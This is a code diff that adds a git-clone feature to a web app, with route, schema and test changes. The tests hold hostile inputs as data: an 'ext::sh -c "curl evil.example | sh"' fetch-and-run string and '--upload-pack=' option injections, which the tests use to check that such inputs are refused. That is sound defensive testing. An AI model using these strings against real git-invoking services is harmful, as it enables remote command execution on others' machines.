+      const { name, repository, ref, shallow, description } = parseBody(CloneCaseSchema, req.body);
+      const user = getAuthUser(req);
+
+      const parsed = parseGitRepositoryUrl(repository);
+      if (!parsed.cloneable) return createErrorResponse(ApiErrorCode.INVALID_INPUT, parsed.message);
+      if (ref && !isSafeGitRef(ref)) {
+        return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Invalid branch or tag name');
+      }
+      if (parsed.transport === 'local' && isMultiUserMode() && !isAdmin(req)) {
+        reply.code(403);
+        return createErrorResponse(ApiErrorCode.FORBIDDEN, LOCAL_CLONE_ADMIN_ONLY);
+      }
+      if (!isGitAvailable()) {
+        return createErrorResponse(
+          ApiErrorCode.OPERATION_FAILED,
+          'git is not installed on this machine (or not on the server’s PATH).'
+        );
+      }
+
+      const casesDir = resolveCasesDir(user);
+      const casePath = validatePathWithinBase(name, casesDir);
+      if (!casePath) return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Invalid case path');
+
+      // Reject a duplicate name across EVERY case kind before invoking git, so a
+      // clone can never be the thing that discovers the collision (it would have
+      // spent minutes of network first, and git's own error is about a directory).
+      const linkedCases = await readLinkedCases();
+      const dockerCases = await readDockerCases(CODEMAN_CONFIG_DIR);
+      const remoteCases = await readRemoteCases(CODEMAN_CONFIG_DIR);
+      if (
+        existsSync(casePath) ||
+        linkedCases[name] ||
+        dockerCases.some((item) => item.name === name) ||
+        remoteCases.some((item) => item.name === name)
+      ) {
+        return createErrorResponse(ApiErrorCode.ALREADY_EXISTS, 'Case already exists');
+      }
+
+      // git creates the leaf, not necessarily the case space above it.
+      try {
+        mkdirSync(casesDir, { recursive: true });
+      } catch (err) {
+        return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
+      }
+
+      const clone = await cloneRepository({
+        repository: parsed.repository,
+        destination: casePath,
+        ...(ref ? { ref } : {}),
+        ...(shallow ? { shallow: true } : {}),
+      });
+      if (!clone.ok) {
+        const code =
+          clone.failure.code === 'NOT_FOUND'
+            ? ApiErrorCode.NOT_FOUND
+            : clone.failure.code === 'DESTINATION_EXISTS'
+              ? ApiErrorCode.ALREADY_EXISTS
+              : clone.failure.code === 'REF_NOT_FOUND'
+                ? ApiErrorCode.INVALID_INPUT
+                : ApiErrorCode.OPERATION_FAILED;
+        const detail = clone.failure.stderr
+          ? `${clone.failure.message} (${gitDiagnosticLine(clone.failure.stderr)})`
+          : clone.failure.message;
+        return createErrorResponse(code, detail);
+      }
+
+      // Scaffold WITHOUT overwriting anything the repository shipped.
+      const warnings = [...parsed.warnings];
+      try {
+        if (!existsSync(join(casePath, 'CLAUDE.md'))) {
+          const templatePath = await ctx.getDefaultClaudeMdPath();
+          const summary = description || `Cloned from ${parsed.repository}`;
+          writeFileSync(join(casePath, 'CLAUDE.md'), generateClaudeMd(name, summary, templatePath));
+        } else {
+          warnings.push('Kept the repository’s own CLAUDE.md.');
+        }
+        if (repoShipsClaudeSettings(casePath)) {
+          warnings.push(
+            'This repository ships its own .claude/settings files. Codeman merged its hooks alongside them without removing anything — review them before starting a session, since repo-supplied hooks run on this machine.'
+          );
+        }
+        await writeHooksConfig(casePath);
+      } catch (err) {
+        // The clone itself succeeded: keep the case and report the scaffolding
+        // problem, rather than deleting a tree the user just waited for.
+        warnings.push(`Case scaffolding was incomplete: ${getErrorMessage(err)}`);
+      }
+
+      ctx.broadcast(SseEvent.CaseCreated, { name, path: casePath });
+      return {
+        success: true,
+        data: {
+          case: { name, path: casePath },
+          repository: parsed.repository,
+          ...(ref ? { ref } : {}),
+          provider: parsed.provider,
+          warnings,
+        },
+      };
+    }
+  );
+
   // Hosts are machine-level infra config (ssh users/identity paths): non-admins get an
   // empty list in multi-user mode, matching the admin-only write side. No-op otherwise.
   app.get('/api/remote-hosts', async (req) =>
diff --git a/src/web/schemas.ts b/src/web/schemas.ts
index cf2d3d82..851a34a7 100644
--- a/src/web/schemas.ts
+++ b/src/web/schemas.ts
@@ -366,6 +366,31 @@ export const CreateCaseSchema = z.object({
   description: z.string().max(1000).optional(),
 });
 
+/**
+ * Schema for POST /api/cases/clone — issue #236.
+ *
+ * `repository` is only length-bounded here on purpose: what makes an operand safe
+ * is the transport/shape analysis in `parseGitRepositoryUrl` (which also produces
+ * the user-facing rejection reason), and duplicating a weaker version of that as a
+ * regex would be the copy that drifts. The route parses before touching git.
+ */
+export const CloneCaseSchema = z.object({
+  name: z
+    .string()
+    .regex(/^[a-zA-Z0-9_-]+$/, 'Invalid case name format. Use only letters, numbers, hyphens, underscores.'),
+  repository: z.string().min(1).max(2048),
+  /** Branch or tag → `--branch <ref> --single-branch`. */
+  ref: z.string().min(1).max(200).optional(),
+  /** `--depth 1`. */
+  shallow: z.boolean().optional(),
+  description: z.string().max(1000).optional(),
+});
+
+/** Schema for POST /api/cases/clone-preflight — ask the remote what it has, clone nothing. */
+export const ClonePreflightSchema = z.object({
+  repository: z.string().min(1).max(2048),
+});
+
 const RemoteCommandOverridesSchema = z
   .object({
     shell: z.string().min(1).max(300).optional(),
diff --git a/src/web/server.ts b/src/web/server.ts
index 049c97a8..525ce190 100644
--- a/src/web/server.ts
+++ b/src/web/server.ts
@@ -1339,6 +1339,7 @@ export class WebServer extends EventEmitter {
         { isGeminiAvailable },
         { isAntigravityAvailable },
         { isCloudflaredAvailable },
+        { isGitAvailable },
       ] = await Promise.all([
         import('../utils/claude-cli-resolver.js'),
         import('../utils/opencode-cli-resolver.js'),
@@ -1346,6 +1347,7 @@ export class WebServer extends EventEmitter {
         import('../utils/gemini-cli-resolver.js'),
         import('../utils/antigravity-cli-resolver.js'),
         import('../utils/cloudflared-resolver.js'),
+        import('../git-clone.js'),
       ]);
       const available = {
         claude: isClaudeAvailable(),
@@ -1354,6 +1356,9 @@ export class WebServer extends EventEmitter {
         gemini: isGeminiAvailable(),
         antigravity: isAntigravityAvailable(),
         cloudflared: isCloudflaredAvailable(),
+        // Not a run mode: the Add Case → Clone tab is an offer this box cannot
+        // keep without git (issue #236), same reasoning as cloudflared above.
+        git: isGitAvailable(),
       };
       html = html.replace(
         '</head>',
diff --git a/test/git-clone.test.ts b/test/git-clone.test.ts
new file mode 100644
index 00000000..a1c3a731
--- /dev/null
+++ b/test/git-clone.test.ts
@@ -0,0 +1,429 @@
+/**
+ * @fileoverview Tests for the clone-a-repository-as-a-case core (issue #236).
+ *
+ * Two halves, mirroring the module:
+ *
+ * 1. The PURE half — URL parsing (where the security decisions live), argv/env
+ *    construction, `ls-remote` parsing and stderr classification. No spawning.
+ * 2. The IO half — driven against a REAL `git` cloning a REAL local bare repo, so
+ *    the argv, the failure classification and the cleanup-on-failure path are all
+ *    proven against git's actual behavior rather than a mock's idea of it. These
+ *    skip themselves when git is unavailable (never silently pass: the pure
+ *    assertions above still run).
+ *
+ * Port: N/A (no server).
+ */
+
+import { describe, it, expect, beforeAll, afterAll } from 'vitest';
+import { execFileSync } from 'node:child_process';
+import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import {
+  buildCloneArgs,
+  buildLsRemoteArgs,
+  classifyGitFailure,
+  cloneRepository,
+  getActiveGitOperationCount,
+  gitNonInteractiveEnv,
+  isGitAvailable,
+  isSafeGitRef,
+  parseGitRepositoryUrl,
+  parseLsRemoteOutput,
+  probeGitRemote,
+  sanitizeGitOutput,
+  suggestCaseNameFromRepo,
+} from '../src/git-clone.js';
+
+/** Narrow a parse result to the accepted branch, failing loudly otherwise. */
+function accepted(input: string) {
+  const parsed = parseGitRepositoryUrl(input);
+  if (!parsed.cloneable) throw new Error(`expected ${input} to be cloneable, got ${parsed.code}: ${parsed.message}`);
+  return parsed;
+}
+
+/** Narrow a parse result to the rejected branch. */
+function rejected(input: string) {
+  const parsed = parseGitRepositoryUrl(input);
+  if (parsed.cloneable) throw new Error(`expected ${input} to be REFUSED, but it parsed as ${parsed.repository}`);
+  return parsed;
+}
+
+describe('parseGitRepositoryUrl', () => {
+  it('accepts an https GitHub URL and pulls out owner/repo/provider', () => {
+    const parsed = accepted('https://github.com/Ark0N/Codeman.git');
+    expect(parsed.transport).toBe('https');
+    expect(parsed.host).toBe('github.com');
+    expect(parsed.owner).toBe('Ark0N');
+    expect(parsed.repo).toBe('Codeman');
+    expect(parsed.provider).toBe('GitHub');
+    expect(parsed.suggestedName).toBe('Codeman');
+    expect(parsed.warnings).toEqual([]);
+  });
+
+  it('accepts nested owner paths and a missing .git suffix', () => {
+    const parsed = accepted('https://gitlab.com/group/subgroup/project');
+    expect(parsed.owner).toBe('group/subgroup');
+    expect(parsed.repo).toBe('project');
+    expect(parsed.provider).toBe('GitLab');
+  });
+
+  it('accepts the scp-like SSH form', () => {
+    const parsed = accepted('git@github.com:owner/repo.git');
+    expect(parsed.transport).toBe('ssh');
+    expect(parsed.host).toBe('github.com');
+    expect(parsed.owner).toBe('owner');
+    expect(parsed.repo).toBe('repo');
+    // The advisory exists because an unconfigured key fails rather than prompts.
+    expect(parsed.warnings.join(' ')).toMatch(/ssh keys/i);
+  });
+
+  it('accepts ssh:// with a port', () => {
+    const parsed = accepted('ssh://git@git.example.com:2222/owner/repo.git');
+    expect(parsed.transport).toBe('ssh');
+    expect(parsed.host).toBe('git.example.com:2222');
+    expect(parsed.repo).toBe('repo');
+  });
+
+  it('warns but accepts plain http and git://', () => {
+    expect(accepted('http://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unencrypted/i);
+    expect(accepted('git://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unauthenticated/i);
+  });
+
+  it('accepts an absolute local path and file:// as a local clone', () => {
+    expect(accepted('/srv/repos/thing.git').transport).toBe('local');
+    expect(accepted('/srv/repos/thing.git').repo).toBe('thing');
+    expect(accepted('file:///srv/repos/thing').transport).toBe('local');
+  });
+
+  // ── The refusals that matter ──────────────────────────────────────────────
+
+  it('REFUSES ext:: and every other transport helper (arbitrary command execution)', () => {
+    expect(rejected('ext::sh -c "curl evil.example | sh"').code).toBe('TRANSPORT_HELPER');
+    expect(rejected('fd::7').code).toBe('TRANSPORT_HELPER');
+    // Not just the known-bad names: ANY `<helper>::` dispatches to git-remote-<helper>.
+    expect(rejected('weird::payload').code).toBe('TRANSPORT_HELPER');
+  });
+
+  it('REFUSES an option-shaped operand', () => {
+    expect(rejected('--upload-pack=touch /tmp/pwned').code).toBe('OPTION_LIKE');
+    expect(rejected('-u whatever').code).toBe('OPTION_LIKE');
+  });
+
+  it('REFUSES a URL carrying a password', () => {
+    expect(rejected('https://user:token@github.com/owner/repo.git').code).toBe('CREDENTIALS_IN_URL');
+  });
+
+  it('REFUSES unsupported schemes', () => {
+    expect(rejected('ftp://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
+    expect(rejected('javascript://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
+  });
+
+  it('REFUSES control characters and over-long input', () => {
+    expect(rejected('https://example.com/repo\n--upload-pack=x').code).toBe('CONTROL_CHARS');
+    expect(rejected(`https://example.com/${'a'.repeat(2100)}`).code).toBe('TOO_LONG');
+  });
+
+  it('REFUSES relative and ~ paths, and empty input', () => {
+    expect(rejected('./repo').code).toBe('BAD_SYNTAX');
+    expect(rejected('~/repo').code).toBe('BAD_SYNTAX');
+    expect(rejected('   ').code).toBe('EMPTY');
+    expect(rejected('not a url at all').code).toBe('BAD_SYNTAX');
+  });
+
+  it('REFUSES a URL with no repository name', () => {
+    expect(rejected('https://github.com/').code).toBe('NO_REPOSITORY_NAME');
+  });
+});
+
+describe('suggestCaseNameFromRepo', () => {
+  it('produces names the case-name validator accepts', () => {
+    expect(suggestCaseNameFromRepo('My.Repo.git')).toBe('My-Repo');
+    expect(suggestCaseNameFromRepo('repo with spaces')).toBe('repo-with-spaces');
+    expect(suggestCaseNameFromRepo('--weird--')).toBe('weird');
+    for (const input of ['My.Repo.git', 'repo with spaces', 'a/b', 'ünïcodé']) {
+      const suggested = suggestCaseNameFromRepo(input);
+      if (suggested) expect(suggested).toMatch(/^[a-zA-Z0-9_-]+$/);
+    }
+  });
+
+  it('returns empty rather than inventing a name when nothing survives', () => {
+    expect(suggestCaseNameFromRepo('...')).toBe('');
+    expect(suggestCaseNameFromRepo('')).toBe('');
+  });
+});
+
+describe('isSafeGitRef', () => {
+  it('accepts real branch and tag names', () => {
+    for (const ref of ['main', 'v1.2.3', 'release/2026-08', 'feat_x', 'v1.0.0+build.5']) {
+      expect(isSafeGitRef(ref)).toBe(true);
+    }
+  });
+
+  it('rejects flags, traversal and revision syntax', () => {
+    for (const ref of ['-x', '--upload-pack=x', 'a..b', 'HEAD@{1}', 'x.lock', 'has space', 'trailing/', '']) {
+      expect(isSafeGitRef(ref)).toBe(false);
+    }
+  });
+});
+
+describe('buildCloneArgs / buildLsRemoteArgs', () => {
+  it('always separates operands with --', () => {
+    const args = buildCloneArgs({ repository: 'https://example.com/r.git', destination: '/cases/r' });
+    expect(args).toEqual(['clone', '--', 'https://example.com/r.git', '/cases/r']);
+    // The operands must sit AFTER the separator, always.
+    expect(args.indexOf('--')).toBeLessThan(args.indexOf('https://example.com/r.git'));
+    expect(buildLsRemoteArgs('https://example.com/r.git')).toEqual([
+      'ls-remote',
+      '--symref',
+      '--',
+      'https://example.com/r.git',
+    ]);
+  });
+
+  it('maps ref to --branch --single-branch and shallow to --depth 1', () => {
+    expect(buildCloneArgs({ repository: 'r', destination: 'd', ref: 'v1', shallow: true })).toEqual([
+      'clone',
+      '--single-branch',
+      '--branch',
+      'v1',
+      '--depth',
+      '1',
+      '--',
+      'r',
+      'd',
+    ]);
+  });
+});
+
+describe('gitNonInteractiveEnv', () => {
+  it('closes every interactive path that could hang an open request', () => {
+    const env = gitNonInteractiveEnv({ PATH: '/usr/bin', HOME: '/home/x' });
+    expect(env.GIT_TERMINAL_PROMPT).toBe('0');
+    expect(env.GIT_ASKPASS).toBe('');
+    expect(env.SSH_ASKPASS_REQUIRE).toBe('never');
+    expect(env.DISPLAY).toBe('');
+    expect(env.GCM_INTERACTIVE).toBe('never');
+    expect(env.GIT_SSH_COMMAND).toContain('BatchMode=yes');
+    // HOME/PATH are inherited on purpose: a working ssh agent keeps working.
+    expect(env.HOME).toBe('/home/x');
+    expect(env.PATH).toBe('/usr/bin');
+  });
+
+  it("does not override a user's own GIT_SSH_COMMAND", () => {
+    expect(gitNonInteractiveEnv({ GIT_SSH_COMMAND: 'ssh -F /custom' }).GIT_SSH_COMMAND).toBe('ssh -F /custom');
+  });
+});
+
+describe('parseLsRemoteOutput', () => {
+  it('extracts the default branch, branches and tags, dropping peeled tags', () => {
+    const parsed = parseLsRemoteOutput(
+      [
+        'ref: refs/heads/master\tHEAD',
+        'b1614e89fcfad61f23052879544b60560a7499cf\tHEAD',
+        'b1614e89fcfad61f23052879544b60560a7499cf\trefs/heads/master',
+        '498e0545de2edd7a7b412861060580da03fad881\trefs/heads/feat/x',
+        '7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0',
+        '7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0^{}',
+        '085f4acb606afa75d311dcabfb397d802ed147b4\trefs/pull/1/head',
+        '',
+      ].join('\n')
+    );
+    expect(parsed.defaultBranch).toBe('master');
+    expect(parsed.branches).toEqual(['master', 'feat/x']);
+    expect(parsed.tags).toEqual(['v1.0.0']);
+    expect(parsed.truncated).toBe(false);
+  });
+
+  it('survives a remote with no HEAD symref', () => {
+    const parsed = parseLsRemoteOutput('0ae798f372995b5108796f089d0dcc25df6d40ba\trefs/heads/main');
+    expect(parsed.defaultBranch).toBeUndefined();
+    expect(parsed.branches).toEqual(['main']);
+  });
+});
+
+describe('classifyGitFailure', () => {
+  it('reports a missing git binary', () => {
+    expect(classifyGitFailure('', false, 'Error: spawn git ENOENT').code).toBe('GIT_MISSING');
+  });
+
+  it('reports a timeout before looking at stderr', () => {
+    expect(classifyGitFailure('fatal: repository not found', true).code).toBe('TIMEOUT');
+  });
+
+  it('recognizes the authentication wall in its several dialects', () => {
+    for (const stderr of [
+      "fatal: could not read Username for 'https://github.com': terminal prompts disabled",
+      'remote: Invalid username or password.',
+      'git@github.com: Permission denied (publickey).',
+    ]) {
+      expect(classifyGitFailure(stderr, false).code).toBe('AUTH_REQUIRED');
+    }
+  });
+
+  it('says "not found OR private" rather than just "not found"', () => {
+    const failure = classifyGitFailure("remote: Repository not found.\nfatal: repository 'x' not found", false);
+    expect(failure.code).toBe('NOT_FOUND');
+    expect(failure.message).toMatch(/private/i);
+  });
+
+  it('recognizes a missing ref and an unreachable host', () => {
+    expect(classifyGitFailure('fatal: Remote branch nope not found in upstream origin', false).code).toBe(
+      'REF_NOT_FOUND'
+    );
+    expect(classifyGitFailure('fatal: unable to access: Could not resolve host: nope.invalid', false).code).toBe(
+      'HOST_UNREACHABLE'
+    );
+  });
+});
+
+describe('sanitizeGitOutput', () => {
+  it('redacts credentials a helper may have echoed back', () => {
+    expect(sanitizeGitOutput("fatal: unable to access 'https://bob:ghp_secret@github.com/x.git/'")).toBe(
+      "fatal: unable to access 'https://***:***@github.com/x.git/'"
+    );
+  });
+
+  it('strips control bytes and keeps the TAIL when over budget', () => {
+    expect(sanitizeGitOutput('abc')).toBe('ab[31mc');
+    const long = sanitizeGitOutput(`${'x'.repeat(50)}THE-END`, 10);
+    expect(long.startsWith('…')).toBe(true);
+    expect(long.endsWith('THE-END')).toBe(true);
+  });
+});
+
+// ─── Real git, real local repository ─────────────────────────────────────────
+
+const gitPresent = isGitAvailable();
+
+describe.skipIf(!gitPresent)('cloneRepository / probeGitRemote (real git)', () => {
+  let root: string;
+  let origin: string;
+
+  const git = (args: string[], cwd: string) =>
+    execFileSync('git', args, { cwd, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
+
+  beforeAll(() => {
+    root = mkdtempSync(join(tmpdir(), 'codeman-clone-test-'));
+    origin = join(root, 'origin.git');
+    mkdirSync(origin);
+    git(['init', '--bare', '--quiet'], origin);
+
+    const work = join(root, 'work');
+    mkdirSync(work);
+    git(['init', '--quiet'], work);
+    git(['config', 'user.email', 'test@example.com'], work);
+    git(['config', 'user.name', 'Codeman Test'], work);
+    writeFileSync(join(work, 'README.md'), '# fixture\n');
+    git(['add', 'README.md'], work);
+    git(['commit', '--quiet', '-m', 'initial'], work);
+    git(['branch', '-M', 'main'], work);
+    git(['tag', 'v1'], work);
+    git(['checkout', '--quiet', '-b', 'side'], work);
+    writeFileSync(join(work, 'SIDE.md'), 'side\n');
+    git(['add', 'SIDE.md'], work);
+    git(['commit', '--quiet', '-m', 'side'], work);
+    git(['checkout', '--quiet', 'main'], work);
+    git(['remote', 'add', 'origin', origin], work);
+    git(['push', '--quiet', 'origin', 'main', 'side', '--tags'], work);
+    // Give the bare repo a HEAD that resolves, so --symref has something to say.
+    git(['symbolic-ref', 'HEAD', 'refs/heads/main'], origin);
+  });
+
+  afterAll(() => {
+    rmSync(root, { recursive: true, force: true });
+  });
+
+  it('probes a reachable remote for its default branch, branches and tags', async () => {
+    const probe = await probeGitRemote(origin);
+    expect(probe.reachable).toBe(true);
+    expect(probe.defaultBranch).toBe('main');
+    expect(probe.branches.sort()).toEqual(['main', 'side']);
+    expect(probe.tags).toEqual(['v1']);
+  });
+
+  it('reports an unreachable remote as a normal answer, not a throw', async () => {
+    const probe = await probeGitRemote(join(root, 'does-not-exist.git'));
+    expect(probe.reachable).toBe(false);
+    expect(probe.failure?.code).toBe('NOT_FOUND');
+    expect(probe.branches).toEqual([]);
+  });
+
+  it('clones into a fresh destination', async () => {
+    const dest = join(root, 'clone-plain');
+    const result = await cloneRepository({ repository: origin, destination: dest });
+    expect(result.ok).toBe(true);
+    expect(existsSync(join(dest, 'README.md'))).toBe(true);
+    expect(existsSync(join(dest, '.git'))).toBe(true);
+  });
+
+  it('clones a single branch when a ref is given', async () => {
+    const dest = join(root, 'clone-side');
+    const result = await cloneRepository({ repository: origin, destination: dest, ref: 'side' });
+    expect(result.ok).toBe(true);
+    expect(existsSync(join(dest, 'SIDE.md'))).toBe(true);
+  });
+
+  it('clones a tag, shallow', async () => {
+    const dest = join(root, 'clone-tag');
+    const result = await cloneRepository({ repository: origin, destination: dest, ref: 'v1', shallow: true });
+    expect(result.ok).toBe(true);
+    expect(existsSync(join(dest, 'README.md'))).toBe(true);
+    expect(existsSync(join(dest, 'SIDE.md'))).toBe(false);
+  });
+
+  it('removes the destination it created when the clone fails', async () => {
+    const dest = join(root, 'clone-bad-ref');
+    const result = await cloneRepository({ repository: origin, destination: dest, ref: 'no-such-branch' });
+    expect(result.ok).toBe(false);
+    if (!result.ok) expect(result.failure.code).toBe('REF_NOT_FOUND');
+    // The half-written tree must not survive as a phantom case directory.
+    expect(existsSync(dest)).toBe(false);
+  });
+
+  it('refuses a destination that already exists instead of cloning into it', async () => {
+    const dest = join(root, 'occupied');
+    mkdirSync(dest);
+    writeFileSync(join(dest, 'keep.txt'), 'precious\n');
+    const result = await cloneRepository({ repository: origin, destination: dest });
+    expect(result.ok).toBe(false);
+    if (!result.ok) expect(result.failure.code).toBe('DESTINATION_EXISTS');
+    // And the pre-existing directory is left completely alone.
+    expect(existsSync(join(dest, 'keep.txt'))).toBe(true);
+  });
+
+  it('rejects an unsafe ref without spawning git', async () => {
+    const result = await cloneRepository({
+      repository: origin,
+      destination: join(root, 'never'),
+      ref: '--upload-pack=x',
+    });
+    expect(result.ok).toBe(false);
+    expect(existsSync(join(root, 'never'))).toBe(false);
+  });
+
+  it('releases every concurrency slot it took', async () => {
+    await Promise.all([probeGitRemote(origin), probeGitRemote(origin), probeGitRemote(origin), probeGitRemote(origin)]);
+    // A leaked slot would eventually wedge every future clone behind a full pool.
+    expect(getActiveGitOperationCount()).toBe(0);
+  });
+
+  it('times out instead of hanging forever', async () => {
+    // 1ms budget: git cannot finish, so the SIGTERM/SIGKILL escalation is what ends it.
+    const result = await cloneRepository({
+      repository: origin,
+      destination: join(root, 'clone-timeout'),
+      timeoutMs: 1,
+    });
+    expect(result.ok).toBe(false);
+    if (!result.ok) expect(result.failure.code).toBe('TIMEOUT');
+    expect(existsSync(join(root, 'clone-timeout'))).toBe(false);
+  });
+});
+
+describe('isGitAvailable', () => {
+  it('answers consistently (memoized)', () => {
+    expect(isGitAvailable()).toBe(gitPresent);
+    expect(isGitAvailable()).toBe(gitPresent);
+  });
+});
diff --git a/test/render-index-html.test.ts b/test/render-index-html.test.ts
index 63569557..3ec99bd2 100644
--- a/test/render-index-html.test.ts
+++ b/test/render-index-html.test.ts
@@ -18,6 +18,7 @@ import { isCodexAvailable } from '../src/utils/codex-cli-resolver.js';
 import { isGeminiAvailable } from '../src/utils/gemini-cli-resolver.js';
 import { isAntigravityAvailable } from '../src/utils/antigravity-cli-resolver.js';
 import { isCloudflaredAvailable } from '../src/utils/cloudflared-resolver.js';
+import { isGitAvailable } from '../src/git-clone.js';
 
 // renderIndexHtml probes the real PATH for every CLI, which would make the
 // assertions below depend on whatever happens to be installed on the machine
@@ -46,6 +47,10 @@ vi.mock('../src/utils/cloudflared-resolver.js', () => ({
   isCloudflaredAvailable: vi.fn(() => false),
   resolveCloudflaredPath: vi.fn(() => null),
 }));
+// git gates the Add Case -> Clone Repo tab (#236), so it rides in the same object.
+vi.mock('../src/git-clone.js', () => ({
+  isGitAvailable: vi.fn(() => false),
+}));
 
 const TEMPLATE = [
   '<head>',
@@ -127,6 +132,7 @@ describe('WebServer.renderIndexHtml', () => {
     vi.mocked(isGeminiAvailable).mockReturnValue(false);
     vi.mocked(isAntigravityAvailable).mockReturnValue(false);
     vi.mocked(isCloudflaredAvailable).mockReturnValue(true);
+    vi.mocked(isGitAvailable).mockReturnValue(true);
     const { server } = makeServer({});
     const html = await render(server);
     const flags = JSON.parse(html.match(/window\.__codemanCliAvailable=(\{.*?\});/)![1]);
@@ -139,6 +145,7 @@ describe('WebServer.renderIndexHtml', () => {
       gemini: false,
       antigravity: false,
       cloudflared: true,
+      git: true,
     });
   });
 
@@ -152,6 +159,7 @@ describe('WebServer.renderIndexHtml', () => {
       isGeminiAvailable,
       isAntigravityAvailable,
       isCloudflaredAvailable,
+      isGitAvailable,
     ]) {
       vi.mocked(probe).mockReturnValue(false);
     }
diff --git a/test/routes/case-clone-routes.test.ts b/test/routes/case-clone-routes.test.ts
new file mode 100644
index 00000000..9821d407
--- /dev/null
+++ b/test/routes/case-clone-routes.test.ts
@@ -0,0 +1,260 @@
+/**
+ * @fileoverview End-to-end tests for POST /api/cases/clone and
+ * /api/cases/clone-preflight (issue #236).
+ *
+ * Deliberately runs against a REAL filesystem and a REAL `git` cloning a REAL
+ * local bare repo, unlike its sibling `case-routes.test.ts` which mocks `node:fs`
+ * wholesale. Mocking here would only prove the handler calls functions in the
+ * order the test expects; what actually needs proving is that a clone lands a
+ * working tree in the case directory, that scaffolding does not overwrite the
+ * repository's own files, and that a rejected URL never reaches git.
+ *
+ * `test/setup.ts` points HOME at a per-file temp dir, so CASES_DIR resolves
+ * inside the fixture and nothing touches the developer's real ~/codeman-cases.
+ *
+ * Port: N/A (app.inject).
+ */
+
+import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';
+import Fastify, { type FastifyInstance } from 'fastify';
+import fastifyCookie from '@fastify/cookie';
+import { execFileSync } from 'node:child_process';
+import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { homedir, tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
+import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
+import { ApiErrorCode, httpStatusForErrorCode } from '../../src/types.js';
+import { registerCaseRoutes } from '../../src/web/routes/case-routes.js';
+import { isGitAvailable } from '../../src/git-clone.js';
+
+const CASES_DIR = join(homedir(), 'codeman-cases');
+const gitPresent = isGitAvailable();
+
+let app: FastifyInstance;
+let ctx: MockRouteContext;
+
+async function buildApp(): Promise<void> {
+  app = Fastify({ logger: false });
+  await app.register(fastifyCookie);
+  // Mirror the production preSerialization envelope hook so error codes map to
+  // their conventional HTTP status (copied from server.ts, as in case-routes.test.ts).
+  app.addHook('preSerialization', (req, reply, payload: unknown, done) => {
+    if (!req.url.startsWith('/api')) return done(null, payload);
+    if (payload === null || typeof payload !== 'object') return done(null, payload);
+    const p = payload as { success?: unknown; errorCode?: unknown };
+    if (p.success === false) {
+      if (reply.statusCode === 200 && typeof p.errorCode === 'string') {
+        reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode));
+      }
+      return done(null, payload);
+    }
+    if (p.success === true) return done(null, payload);
+    return done(null, { success: true, data: payload });
+  });
+  ctx = createMockRouteContext();
+  registerCaseRoutes(app, ctx as never);
+  installRouteErrorHandler(app);
+  await app.ready();
+}
+
+const clone = (payload: Record<string, unknown>) => app.inject({ method: 'POST', url: '/api/cases/clone', payload });
+const preflight = (repository: unknown) =>
+  app.inject({ method: 'POST', url: '/api/cases/clone-preflight', payload: { repository } });
+
+describe('POST /api/cases/clone-preflight', () => {
+  beforeEach(buildApp);
+  afterEach(async () => {
+    await app.close();
+  });
+
+  it('answers 200 with the rejection reason for an ext:: URL (never probes it)', async () => {
+    const res = await preflight('ext::sh -c "id > /tmp/pwned"');
+    expect(res.statusCode).toBe(200);
+    const body = JSON.parse(res.body);
+    expect(body.success).toBe(true);
+    expect(body.data.parse.cloneable).toBe(false);
+    expect(body.data.parse.code).toBe('TRANSPORT_HELPER');
+    expect(body.data.remote).toBeUndefined();
+  });
+
+  it('returns the parsed owner/repo and a case-name suggestion for a valid URL', async () => {
+    const res = await preflight('https://github.com/owner/My.Repo.git');
+    const body = JSON.parse(res.body);
+    expect(body.data.parse.cloneable).toBe(true);
+    expect(body.data.parse.owner).toBe('owner');
+    expect(body.data.parse.repo).toBe('My.Repo');
+    expect(body.data.parse.suggestedName).toBe('My-Repo');
+  });
+
+  it('validates the body', async () => {
+    expect((await preflight('')).statusCode).toBe(400);
+    expect((await preflight(undefined)).statusCode).toBe(400);
+  });
+});
+
+describe('POST /api/cases/clone — input rejection', () => {
+  beforeEach(buildApp);
+  afterEach(async () => {
+    await app.close();
+  });
+
+  it('refuses a transport helper before touching git', async () => {
+    const res = await clone({ name: 'pwned', repository: 'ext::sh -c "touch /tmp/codeman-pwned"' });
+    expect(res.statusCode).toBe(400);
+    const body = JSON.parse(res.body);
+    expect(body.errorCode).toBe(ApiErrorCode.INVALID_INPUT);
+    expect(body.error).toMatch(/ext::/);
+    expect(existsSync(join(CASES_DIR, 'pwned'))).toBe(false);
+  });
+
+  it('refuses an option-shaped repository', async () => {
+    const res = await clone({ name: 'opt', repository: '--upload-pack=touch /tmp/x' });
+    expect(res.statusCode).toBe(400);
+    expect(JSON.parse(res.body).error).toMatch(/may not start with/);
+  });
+
+  it('refuses a URL with embedded credentials', async () => {
+    const res = await clone({ name: 'creds', repository: 'https://u:token@github.com/o/r.git' });
+    expect(res.statusCode).toBe(400);
+    expect(JSON.parse(res.body).error).toMatch(/never accepts or stores/i);
+  });
+
+  it('refuses an unsafe ref', async () => {
+    const res = await clone({ name: 'ref', repository: 'https://github.com/o/r.git', ref: '--upload-pack=x' });
+    expect(res.statusCode).toBe(400);
+    expect(JSON.parse(res.body).error).toMatch(/branch or tag/i);
+  });
+
+  it('rejects an invalid case name via the schema', async () => {
+    const res = await clone({ name: '../escape', repository: 'https://github.com/o/r.git' });
+    expect(res.statusCode).toBe(400);
+  });
+
+  it('rejects a name that collides with an existing case before cloning', async () => {
+    mkdirSync(join(CASES_DIR, 'taken'), { recursive: true });
+    try {
+      const res = await clone({ name: 'taken', repository: 'https://github.com/o/r.git' });
